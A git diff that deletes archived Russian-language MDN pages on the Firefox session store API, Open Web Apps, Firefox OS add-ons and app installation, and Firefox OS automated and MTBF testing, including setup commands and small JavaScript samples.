- ss.setTabValue(currentTab, "key-name-here", dataToAttach);
-</pre>
-<p>This code sets the value of the key "key-name-here" to <var>dataToAttach</var>. You may use any JavaScript object as the data.</p>
-<h3 id="Fetching_a_saved_value" name="Fetching_a_saved_value">Fetching a saved value</h3>
-<p>You can fetch a value associated with a tab at any time (whether the tab is in the process of being restored or not), using code similar to the following:</p>
-<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"]
- .getService(Components.interfaces.nsISessionStore);
- var currentTab = gBrowser.selectedTab;
- var retrievedData = ss.getTabValue(currentTab, "key-name-here");
-</pre>
-<p>After this code executes, the variable <var>retrievedData</var> contains the value saved for the key "key-name-here". <var>retrievedData</var> is undefined if there is no value saved for that key name.</p>
-<h3 id="Deleting_a_value_associated_with_a_tab" name="Deleting_a_value_associated_with_a_tab">Deleting a value associated with a tab</h3>
-<p>To delete a value from a tab, you can use code similar to the following:</p>
-<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"]
- .getService(Components.interfaces.nsISessionStore);
- var currentTab = gBrowser.selectedTab;
- ss.deleteTabValue(currentTab, "key-name-here");
-</pre>
-<h3 id="Remarks" name="Remarks">Remarks</h3>
-<p>The window value save and restore functions work exactly like the tab-based functions by similar names.</p>
-<p>Starting in Firefox 3.5, notifications are sent after reading session store data and before using it, as well as immediately before writing it back to disk. <a class="internal" href="/en-US/docs/Observer_Notifications#Session_Store" title="en/Observer Notifications#Session Store">See the list in Observer Notifications</a>.</p>
-<h2 id="Using_the_session_store_API" name="Using_the_session_store_API">Using the session store API in SeaMonkey</h2>
-<p>There are a number of differences between the session store API in Firefox and the API in SeaMonkey 2.0:</p>
-<ul>
- <li>The class name is <strong><span style="font-family: Courier New;">@mozilla.org/suite/sessionstore;1</span></strong></li>
-</ul>
-<pre class="eval">var ss = Components.classes["@mozilla.org/suite/sessionstore;1"]
- .getService(Components.interfaces.nsISessionStore);</pre>
-<ul>
- <li>When restoring a window, closed tabs in that window are not currently restored.</li>
- <li>When closing a tab, SeaMonkey does not generate SSTab events. This means that you cannot currently tell if a tab has been saved or restored. However SeaMonkey reuses the browser element (up to the undo close tab limit) which means that you can set state on the browser element and it will be restored with the tab.</li>
-</ul>
-<h2 id="See_also" name="See_also">See also</h2>
-<p>{{interface("nsISessionStore")}}</p>
diff --git a/files/ru/archive/apps/advanced_topics/index.html b/files/ru/archive/apps/advanced_topics/index.html
deleted file mode 100644
index 982d8aba81..0000000000
--- a/files/ru/archive/apps/advanced_topics/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: Advanced topics
-slug: Archive/Apps/Advanced_topics
-translation_of: Archive/Apps/Advanced_topics
----
-<p>Эти статьи дают экстра информацию на более продвинутые темы об Открытых Веб Приложениях.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Architecture" name="Architecture">Документация архитектуры приложений</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Apps/Architecture">Архитектура веб приложений</a></dt>
- <dd>An overview of the architecture behind the Open Web Apps project's design and implementation.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Platform-specific_details">Специфичные-платформе детали установки приложения</a></dt>
- <dd>There are some differences in how apps are installed across the various platforms that support Open Web Apps; this article will help you to understand them.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Apps_for_Android">Открытые Веб Приложения для Android</a></dt>
- <dd>Information about installing and testing Open Web Apps on an Android device.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Release_notes">App runtime release notes</a></dt>
- <dd>Release notes for the Web app runtimes for various platforms.</dd>
-</dl>
-
-<h2 class="Documentation" id="Other" name="Other">Другие документации</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Apps/Creating_a_store">Создание магазина</a></dt>
- <dd>Информация может быть полезна для вас если вы хотите создать свой собственный магазин для продажи и распространения Открытых Веб Приложений.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/Marketplace">View All...</a></span></p>
-</div>
-
-<div class="section">
-<h5 class="Tools" id="Tools" name="Tools">Tools for app developers</h5>
-<ul>
- <li><a href="https://marketplace.firefox.com/developers/">Visit Firefox Marketplace Developer Hub</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS Simulator</a></li>
- <li><a href="/en-US/docs/Apps/App_developer_tools">App developer tools</a></li>
-</ul>
-<h5 class="Documentation" id="Documentation" name="Documentation">Technology reference documentation</h5>
-<div class="twocolumns">
- <ul>
- <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
- <li><a href="/en-US/docs/DOM">DOM</a></li>
- <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
- <li><a href="/en-US/docs/JavaScript">JavaScript</a></li>
- <li><a href="/en-US/docs/WebAPI">WebAPI</a></li>
- <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
- <li><a href="/en-US/docs/SVG">SVG</a></li>
- <li><a href="https://www.mozilla.org/en-US/apps/">Open Web Apps overview site</a></li>
- <li><a href="https://wiki.mozilla.org/Apps">Apps project wiki page</a></li>
- </ul>
-</div>
-<h5 class="Community" id="Community" name="Community">Getting help from the community</h5>
-<p>If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!</p>
-<ul>
- <li>Consult the webapps forum: <ul>
- <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> Почтовая рассылка</a></li>
-
-
- <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> newsgroup</a></li>
- <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> Новостная лента</a></li>
-</ul>
- <ul>
- <li>Ask your question on the Open Web Apps IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
- </ul>
- </li>
-</ul>
-<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" rel="external">Don't forget about the <em>netiquette</em>...</a></span></p>
-</div>
-</div>
-
-<p> </p>
diff --git a/files/ru/archive/apps/index.html b/files/ru/archive/apps/index.html
deleted file mode 100644
index 89e9dac3d6..0000000000
--- a/files/ru/archive/apps/index.html
+++ /dev/null
@@ -1,8 +0,0 @@
----
-title: Apps
-slug: Archive/Apps
-translation_of: Archive/Apps
----
-<p class="summary">In progress. This page includes archived content for Apps, including obsolete web app content, Firefox OS app-related content, etc.</p>
-
-<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/ru/archive/b2g_os/add-ons/index.html b/files/ru/archive/b2g_os/add-ons/index.html
deleted file mode 100644
index c09b878c75..0000000000
--- a/files/ru/archive/b2g_os/add-ons/index.html
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Firefox OS add-ons
-slug: Archive/B2G_OS/Add-ons
-translation_of: Archive/B2G_OS/Add-ons
----
-<p class="summary"><font><font>Firefox OS 2.5 появилась поддержка аддонов, особенность, которая настольные пользователи знают и любят с начала Firefox. </font><font>Дополнения Firefox OS на еще более мощный и может настроить не только браузер, но и весь опыт телефона, в том числе настроек для домашнего экрана и системы приложений, таких как E-Mail и сообщения. </font><font>Эта страница расскажет вам все, что вам нужно знать, чтобы начать работу с создания Firefox OS дополнения и участие с Дополнения сообщества.</font></font></p>
-
-<div class="note">
-<p dir="ltr"><strong><font><font>Примечание: Firefox OS дополнения основаны на </font></font></strong><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions"><font><font>API </font></font></a><font><font>WebExtensions, </font><font>который также поддерживается в Firefox столе начиная с версии 42 и на основе расширения API, используемых в Chrome и Opera.</font></font></p>
-</div>
-
-<h2 id="Предпосылки"><font><font>Предпосылки</font></font></h2>
-
-<p><font><font>Вы должны следовать приведенным ниже инструкциям, чтобы настроить, чтобы начать разработку расширений.</font></font></p>
-
-<h3 dir="ltr" id="1._Вспышка_телефон_к_Firefox_OS_2.5"><font><font>1. Вспышка телефон к Firefox OS 2.5</font></font></h3>
-
-<p dir="ltr"><font><font>Firefox OS дополнения поддерживаются только в Firefox OS 2.5 и более поздних версий. </font><font>Вот список поддерживаемых устройств и, как обновить их (этот список является неполным, и будут добавлены как время идет.)</font></font></p>
-
-<ul>
- <li dir="ltr"><font><font>Пламя (рекомендуется): См </font></font><a href="/en-US/Firefox_OS/Phone_guide/Flame/Updating_your_Flame#Quick_guide_to_updating_your_device"><font><font>Краткое руководство по обновлению </font></font></a><font><font>Пламя.</font></font></li>
-</ul>
-
-<h3 id="2._Включить_отладку_USB"><font><font>2. Включить отладку USB</font></font></h3>
-
-<p><font><font>В </font></font><em><font><font>Настройки</font></font></em><font><font> приложения на устройстве, выберите </font></font><em><font><font>Developer&gt; Отладка через USB&gt; АБР и </font></font></em><font><font>Devtools. </font><font>Теперь вы должны быть в состоянии отладки, используя установленные приложения WebIDE, либо с помощью кабеля USB в, </font></font><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_OS_over_Wifi"><font><font>и над Wi-Fi</font></font></a><font><font> (кабель USB не требуется.)</font></font></p>
-
-<h3 id="3._Установите_WebIDE"><font><font>3. Установите WebIDE</font></font></h3>
-
-<p><a href="/en-US/docs/Tools/WebIDE"><font><font>WebIDE</font></font></a><font><font> инструмент является частью Firefox и может быть использован для установки надстроек на вашем телефоне во время разработки - см </font></font><a href="/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons#Testing_your_add-on_using_WebIDE"><font><font>Тестирование надстройку с помощью WebIDE</font></font></a><font><font> для получения дополнительной информации.</font></font></p>
-
-<h2 id="Смотрите_также"><font><font>Смотрите также</font></font></h2>
-
-<h3 id="Развивающийся"><font><font>Развивающийся</font></font></h3>
-
-<ul>
- <li dir="ltr"><strong><font><font>Tutorial</font></font></strong><font><font> : </font></font><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons"><font><font>https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons</font></font></a></li>
- <li dir="ltr"><strong><font><font>В глубине example</font></font></strong><font><font> : </font></font><a href="https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/"><font><font>https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/</font></font></a></li>
- <li dir="ltr"><strong><font><font>Справочник по </font></font></strong><font><font>API: </font></font><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions"><font><font>https://developer.mozilla.org/en-US/Add-ons/WebExtensions</font></font></a></li>
-</ul>
-
-<h3 dir="ltr" id="Распространение"><font><font>Распространение</font></font></h3>
-
-<ul>
- <li dir="ltr"><strong><font><font>Передать </font></font></strong><font><font>Marketplace: </font></font><a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission"><font><font>Добавить-на представления</font></font></a></li>
- <li dir="ltr"><strong><font><font>Критерии обзора</font></font></strong><font><font> (рабочий проект): </font></font><a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission/Review_criteria"><font><font>Добавить-на критерии обзор</font></font></a></li>
-</ul>
-
-<h3 dir="ltr" id="Втягиваться"><font><font>Втягиваться</font></font></h3>
-
-<ul>
- <li dir="ltr"><font><font>Рассылка: </font></font><a href="https://mail.mozilla.org/listinfo/dev-addons"><font><font>https://mail.mozilla.org/listinfo/dev-fxos</font></font></a></li>
- <li dir="ltr"><strong><font><font>Дискурс </font></font></strong><font><font>форум: </font></font><a href="https://discourse.mozilla-community.org/c/add-ons/development"><font><font>https://discourse.mozilla-community.org/c/add-ons/development</font></font></a></li>
- <li dir="ltr"><strong><font><font>IRC: irc.mozilla.org, #webextensions и #fxos</font></font></strong></li>
- <li dir="ltr"><strong><font><font>Дайте нам знать, какие новые API-интерфейсы, мы должны расставить </font></font></strong><font><font>приоритеты: </font></font><a href="https://webextensions.uservoice.com/forums/315663-webextension-api-ideas"><font><font>https://webextensions.uservoice.com/forums/315663-webextension-api-ideas</font></font></a></li>
- <li dir="ltr"><strong><font><font>Следуйте за нами на </font></font></strong><a href="https://twitter.com/MozWebExt"><font><font>Twitter:MozWebExt</font></font></a></li>
-</ul>
diff --git a/files/ru/archive/b2g_os/apps/index.html b/files/ru/archive/b2g_os/apps/index.html
deleted file mode 100644
index 30ee215827..0000000000
--- a/files/ru/archive/b2g_os/apps/index.html
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: Creating Apps for Firefox OS
-slug: Archive/B2G_OS/Apps
-tags:
- - Apps
- - B2G
- - Firefox OS
- - NeedsTranslation
- - TopicStub
-translation_of: Web/Apps/Fundamentals
----
-<p>Applications for Firefox OS devices are simply open Web apps; they consist entirely of open Web technologies such as JavaScript, HTML, and CSS. While our primary documentation for apps covers nearly everything you need to know, there are a few documents specific to developing and testing for Firefox OS that are presented here.</p>
-<div class="row topicpage-table">
- <div class="section">
- <h2 class="Documentation" id="Documentation" name="Documentation">Documentation and tutorials</h2>
- <dl>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Writing_a_web_app_for_Firefox_OS">Writing a web app for Firefox OS</a></dt>
- <dd>
- A tutorial to creating your first web application for Firefox OS.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">User experience</a></dt>
- <dd>
- Guides to help you develop apps with a consistent and attractive user experience, including code samples and templates.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Tips_and_techniques">Tips and techniques</a></dt>
- <dd>
- An assortment of tips and tricks (as well as workarounds for problems) that our developers have suggested for you!</dd>
- </dl>
- <p><span class="alllinks"><a href="/en-US/docs/tag/Apps">View All...</a></span></p>
- </div>
- <div class="section">
- <h2 class="Community" id="Community" name="Community">Getting help from the community</h2>
- <p>You need help on an app-related problem and can't find the solution in the documentation?</p>
- <ul>
- <li>Consult the web apps forum: {{DiscussionList("dev-webapps", "mozilla.dev.webapps")}}</li>
- <li>Consult the layout forum, which covers CSS and HTML: {{ DiscussionList("dev-tech-css", "mozilla.dev.tech.layout") }}
- <ul>
- <li>Ask your question on the Mozilla IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
- </ul>
- </li>
- </ul>
- <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
- <h2 class="Tools" id="Tools" name="Tools">Tools</h2>
- <ul>
- <li><span class="external">The Firefox <a href="/en-US/docs/Tools/Debugger">Debugger</a> offers support for remotely debugging Firefox OS apps</span></li>
- <li><span class="external">Other <a href="/en-US/docs/Tools">Developer Tools</a></span></li>
- </ul>
- <p><span class="alllinks"><a href="/en-US/docs/tag/Tools">View All...</a></span></p>
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
- <ul>
- <li><a href="/en-US/docs/Web/Apps">Apps</a></li>
- </ul>
- </div>
-</div>
diff --git a/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html b/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html
deleted file mode 100644
index 338a8c6994..0000000000
--- a/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: Создание веб-приложений для Firefox OS
-slug: Archive/B2G_OS/Apps/Writing_a_web_app_for_Firefox_OS_ru
-translation_of: Web/Apps/Fundamentals/Quickstart
----
-<p>Приложения для Firefox OS представляют собой обычные Web-приложения, написанные с использованием HTML, CSS и JavaScript. Они публикуются в Web подобно обычным Web-сайтам. Чтобы сделать Web-сайт инсталлируемым на мобильные устройства в качестве Web-приложения, Вам нужно лишь добавить к нему файл манифеста и кнопку "install", как описывается ниже.</p>
-<p>Для начала рекомендуется прочесть следующие статьи:</p>
-<ul>
- <li><a href="/en-US/docs/Web/Apps/Getting_Started">Getting started with making apps</a></li>
- <li><a href="/en-US/docs/Web/Apps/Manifest">App manifest</a></li>
-</ul>
-<p>И, конечно же, Вы вольны <a href="/en-US/docs/Web/Apps">dive even further into Open Web Apps</a>!</p>
-<h2 id="Инсталляция_Web-приложения">Инсталляция Web-приложения</h2>
-<p>Манифест-файл прилагается к веб-приложению для того, чтобы Gecko смог его должным образом обработать при инсталляции. В процессе инсталляции Gecko "читает" файл манифеста и вносит при необходимости дополнительные записи в домашний экран (home screen) и т.п.</p>
-<p>Для инсталляции приложения служит <a href="/en-US/docs/Web/API/Apps.install"><code>navigator.mozApps.install</code> API</a>. Ниже приведён пример кнопки "Install", которую можно встроить в Ваше приложение, если Вы хостите его самостоятельно:</p>
-<pre class="brush: html">&lt;button id="install"&gt;
-  Install this awesome app on your homescreen!
-&lt;/button&gt;
-
-&lt;script&gt;
-(function(){
-  function install(ev) {
-    ev.preventDefault();
-    // define the manifest URL
-    var manifest_url = "http://my.webapp.com/manifest.webapp";
-    // install the app
-    var myapp = navigator.mozApps.install(manifest_url);
-    myapp.onsuccess = function(data) {
-      // App is installed, remove button
-      this.parentNode.removeChild(this);
-    };
-    myapp.onerror = function() {
-      // App wasn't installed, info is in this.error.name
- console.log('Install failed, error: ' + this.error.name);
-     };
-  };
-  // get a reference to the button and call install() on click
-  var button = document.getElementById('install');
-  button.addEventListener('click', install, false);
-})();
-&lt;/script&gt;
-</pre>
-<p>Примечание: кнопка "Install" может быть расположена и в магазине приложений, например, в <a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Firefox Marketplace</a>, но зачастую весьма удобно иметь кнопку "Install as web app" на главной странице Вашего сайта.</p>
-<p>Теперь при заходе на Ваш сайт броузером из Firefox OS, его можно будет установить как приложение, нажав кнопку "Install".</p>
diff --git a/files/ru/archive/b2g_os/automated_testing/index.html b/files/ru/archive/b2g_os/automated_testing/index.html
deleted file mode 100644
index f5f4048cbb..0000000000
--- a/files/ru/archive/b2g_os/automated_testing/index.html
+++ /dev/null
@@ -1,81 +0,0 @@
----
-title: Automated Testing of Firefox OS
-slug: Archive/B2G_OS/Automated_testing
-translation_of: Archive/B2G_OS/Automated_testing
----
-<div class="summary">
-<p>Given that Firefox OS is still under development, and support for new hardware is going to be forthcoming for the foreseeable future, it's important to know how to test it. <span class="seoSummary">This page offers articles that provide information about various aspects of testing Firefox OS, including running different tests, automation, and result reporting and tracking. </span></p>
-</div>
-
-<h2 id="Getting_started">Getting started</h2>
-
-<dl>
- <dt><a href="/en-US/Firefox_OS/Running_Tests_on_Firefox_OS_for_Developers">Running tests on Firefox OS: A guide for developers</a></dt>
- <dd>A quick, developer-focused guide to getting started with running the tests. This is where you should start if you are not experienced in running Mozilla's tests and automation systems. If you are, then you will probably have an idea of what tests you want to run and how, and you can skip on to the more specific detailed guides below.</dd>
-</dl>
-
-<h2 id="Gaia_tests">Gaia tests</h2>
-
-<p>These articles cover the primary test suites designed to put Gaia through its paces.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests">Gaia UI tests</a></dt>
- <dd>Python tests for Gaia UI interactions and features.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_integration_tests">Gaia integration tests</a></dt>
- <dd>JavaScript integration tests for Gaia, based on Marionette.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests">Gaia unit tests</a></dt>
- <dd>Gaia unit tests with no UI interaction; written in JavaScript, not Marionette-based.</dd>
- <dt><a href="/en-US/Firefox_OS/Automated_testing/Gaia_performance_tests">Gaia performance tests</a></dt>
- <dd>Measures Gaia app performance based on internal instrumentation. The testing harness is in-tree.</dd>
- <dt><a href="https://github.com/mozilla/b2gperf" title="https://github.com/mozilla/b2gperf">B2GPerf</a></dt>
- <dd>Measures Gaia app performance based on internal instrumentation.</dd>
- <dt><a href="https://wiki.mozilla.org/Project_Eideticker" title="https://github.com/mozilla/eideticker">Eideticker</a></dt>
- <dd>Provides performance measurements for Firefox OS based on video captures.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/MTBF_tests">MTBF test</a></dt>
- <dd>Mean Time Between Failure. This is a test suite that runs on device for long duration, attempting to find problems with Gaia uptime and stability. (Currently, it is owned by Taiwan QA team and still a developing test framework)</dd>
-</dl>
-
-<h2 id="B2G_tests">B2G tests</h2>
-
-<p>The guides below cover a number of different test harnesses that test various aspects of B2G functionality.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests">Mochitests</a></dt>
- <dd>Gecko functional and API tests; HTML &amp; JS based.  No Gaia interaction.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Reftests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Reftests">Reftests</a></dt>
- <dd>Gecko rendering correctness tests.</dd>
- <dt><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tests" title="/en-US/docs/Marionette/Marionette_JavaScript_Tests">WebAPI tests</a></dt>
- <dd>Gecko JS-based WebAPI tests; most of these require an emulator.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell">xpcshell tests</a></dt>
- <dd>Headless tests of Gecko XPCOM APIs.</dd>
-</dl>
-
-<h2 id="Supporting_documentation">Supporting documentation</h2>
-
-<p>This section provides links to some of the supporting technologies that underpin Mozilla's tests, which you may want to find more information about.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Marionette" title="/en-US/docs/Marionette">Marionette</a></dt>
- <dd>A remote test driver based on Selenium WebDriver.</dd>
- <dt><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tools" title="/en-US/docs/Marionette/Marionette_JavaScript_Tools">Marionette JavaScript tools</a></dt>
- <dd>A node.js-based runner for Marionette.</dd>
- <dt><a href="/en-US/docs/Marionette/Python_Marionette" title="/en-US/docs/Marionette/Python_Marionette">Marionette Python client</a></dt>
- <dd>A Python runner for Marionette.</dd>
-</dl>
-
-<div class="note">
-<p><strong>Note</strong>: If you want to run Marionette against a production build (to run gaia integration tests, gaia-ui-tests, etc.), you can <a href="https://github.com/mozilla-b2g/marionette-extension">install Marionette as an extension</a> (this currently only works for 1.3 builds, but more support will be added soon.)</p>
-</div>
-
-<h2 id="Continuous_integration_and_result_reporting">Continuous integration and result reporting</h2>
-
-<p>The following articles cover the continuous integration and result reporting mechanisms Mozilla uses to store and intepret test data.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Treeherder">Treeherder</a></dt>
- <dd>Understand the tests and builds that run on Treeherder.</dd>
- <dt><a href="https://wiki.mozilla.org/B2G/Datazilla" title="https://wiki.mozilla.org/B2G/Datazilla">Datazilla</a></dt>
- <dd>Understand which performance tests are reporting to the <a href="https://datazilla.mozilla.org/b2g/" title="https://datazilla.mozilla.org/b2g/">Datazilla dashboard</a>, and what those tests measure.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Test_Execution_Chart" title="/en-US/docs/Mozilla/Firefox_OS/Testing/Test_Execution_Chart">Test execution chart</a></dt>
- <dd>A chart showing which tests are being run — on what devices and where — and which platforms are supported for each test.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html b/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html
deleted file mode 100644
index a9411bfbe0..0000000000
--- a/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html
+++ /dev/null
@@ -1,235 +0,0 @@
----
-title: MTBF tests
-slug: Archive/B2G_OS/Automated_testing/MTBF_tests
-translation_of: Archive/B2G_OS/Automated_testing/MTBF_tests
----
-<div class="summary">
-<ol>
- <li>The MTBF tests are a suite of Firefox OS tests built on top of the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/gaia-ui-tests" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/gaia-ui-tests">Gaiatest (Gaia UI Tests) </a>Framework. The tests run on real Firefox OS devices, and use <a href="/en-US/docs/Marionette" title="/en-US/docs/Marionette">Marionette</a> to drive the device's UI. These tests are designed to measure application stability/reliability, and replace the now-discountinued <a href="/en-US/Firefox_OS/Platform/Automated_testing/Endurance">Gaia endurance tests</a>.</li>
-</ol>
-</div>
-
-<p><strong>Mean time between failures (MTBF)</strong> is the predicted elapsed time between inherent failures of a system during operation. MTBF can be calculated as the arithmetic mean (average) time between failures of a system. The MTBF is typically part of a model that assumes the failed system is immediately repaired (mean time to repair, or MTTR), as a part of a renewal process. This is in contrast to the mean time to failure (MTTF), which measures average time to failures with the modeling assumption that the failed system is not repaired (infinite repair time).</p>
-
-<h2 id="Current_Environment_Setup">Current Environment &amp; Setup</h2>
-
-<p>MTBF tests are run by automation; the test suite collects general test cases like send sms, email, set alarm, etc., and executes them to emulate typical user behavior.  Right now we have more than 10 Firefox OS phones concurrently running tests in our test lab.</p>
-
-<h3 id="How_often_are_the_tests_run">How often are the tests run?</h3>
-
-<p>MTBF is purposed to test on versions or branches with 0 functional failures.  it runs when everything passes in our smoke tests; the testing code should be in the Aurora (next release) branch.</p>
-
-<h3 id="Where_can_I_see_the_results">Where can I see the results?</h3>
-
-<p>MTBF is still being developed and you can mail us for an early report (try the <a href="https://lists.mozilla.org/listinfo/dev-b2g">dev-b2g</a> or <a href="https://lists.mozilla.org/listinfo/dev-gaia">dev-gaia</a> mailing lists).  You can set up the necessary environment to run the tests yourself and generate your own reports by following the below steps.</p>
-
-<h2 id="Running_the_tests">Running the tests</h2>
-
-<p>Let's go through the steps required to set up the Gaia-UI MTBF test environment and run the tests on your local machine and Firefox OS device.</p>
-
-<h3 id="Prerequisites">Prerequisites</h3>
-
-<ul>
- <li>Ubuntu 12.04 (or better) x64 or Mac OS X (these instructions are confirmed for 10.8 but should work on previous versions of 10, theoretically.)</li>
- <li>A Firefox OS device ALREADY FLASHED with an ENGINEERING build of Firefox OS B2G-18 V1-Train (1.1.)</li>
- <li><a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB installed</a>, and the environment variable <code>ADB_PATH</code> pointing to your ADB location.</li>
-</ul>
-
-<p>If you are on Ubuntu, you need to check that it is configured to support the USB connection to the Firefox OS device. To verify this, connect the device to your computer via USB, open a terminal and enter the <code>adb logcat</code> command to see if it connects. If not, you may need to set up a <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">udev rule</a> for the device.</p>
-
-<div class="note">
-<p><strong>Note</strong>: At the point where you start running through the following steps, the Firefox OS device should not be connected to your computer. You will be told when to connect it in the steps below.</p>
-</div>
-
-<h3 id="Step_1_Clone_the_MTBF-Driver_repository_from_Mozilla-TWQA">Step 1: Clone the MTBF-Driver repository from Mozilla-TWQA</h3>
-
-<p>The Gaia-UI MTBF Tests are located in the Mozilla Github Gaia repository. Assuming that you haven’t done so already, the first step is to clone that repo:</p>
-
-<pre class="brush: bash">git clone https://github.com/Mozilla-TWQA/MTBF-Driver.git</pre>
-
-<p>You may want to go get a coffee and come back in five minutes. Furthermore, you can get all the branches and try to switch to the current MTBF branch (e.g. master or v1.4+.) In this case, master matches the current master branch Gaia, and v1.4+ matches the v1.4/v1.3 branch Gaia.</p>
-
-<h3 id="Step_2_Run_the_GaiaTest_setup">Step 2: Run the GaiaTest setup</h3>
-
-<p>The Gaia-UI MTBF tests are built upon the GaiaTest framework (which uses <a href="https://developer.mozilla.org/en-US/docs/Marionette" title="Marionette">Marionette</a>). The next step is to run the setup script to install GaiaTest and all of the required dependencies. You may wish to create a new virtual environment to use with the Gaia-UI MTBF Tests. If you don’t, you may need to use <code>sudo</code> while running the setup command. In your terminal, type:</p>
-
-<pre class="brush: bash">cd MTBF-Driver
-python setup.py develop</pre>
-
-<h3 id="Step_3_Get_memory_tools_if_you_need_them">Step 3: Get memory tools if you need them</h3>
-
-<p>To access the memory tools, find them in the <code>tools</code> directory in the <code>B2G</code> repo. If you've not already got this, clone it from Github like so (this is also a large download):</p>
-
-<pre class="brush: bash">git clone https://github.com/mozilla-b2g/B2G.git</pre>
-
-<p>You should copy the tools folder into the <code>MTBF-Driver/mtbf_drivers</code> directory.</p>
-
-<h3 id="Step_4_Set_test_vars_and_acknowledge_risks">Step 4: Set test vars and acknowledge risks</h3>
-
-<p>GaiaTest uses a special file to set certain variables that are required for test configuration, for example to tell the device which WiFi network it should use. Before running the Gaia-UI MTBF Tests, you must set up the test vars file. Make a copy of the <code>gaia/tests/python/gaia-ui-tests/gaiatest/testvars_template.json</code> file in its existing location (rename it to something memorable) and edit it:</p>
-
-<ul>
- <li>If the Firefox OS device has a SIM card, add the corresponding phone number in the phone number field in the <code>carrier</code> section, e.g. <code>"phone_number": "5551234567"</code>.</li>
- <li>Add the same phone number inside the <code>"remote_phone_number"</code> field.</li>
- <li>In the <code>wifi</code> section, add the SSID for the Wifi network that the Firefox OS device is to connect to during the tests in the <code>ssid</code> field, for example <code>"ssid": "Wifi Network Name"</code>.</li>
-</ul>
-
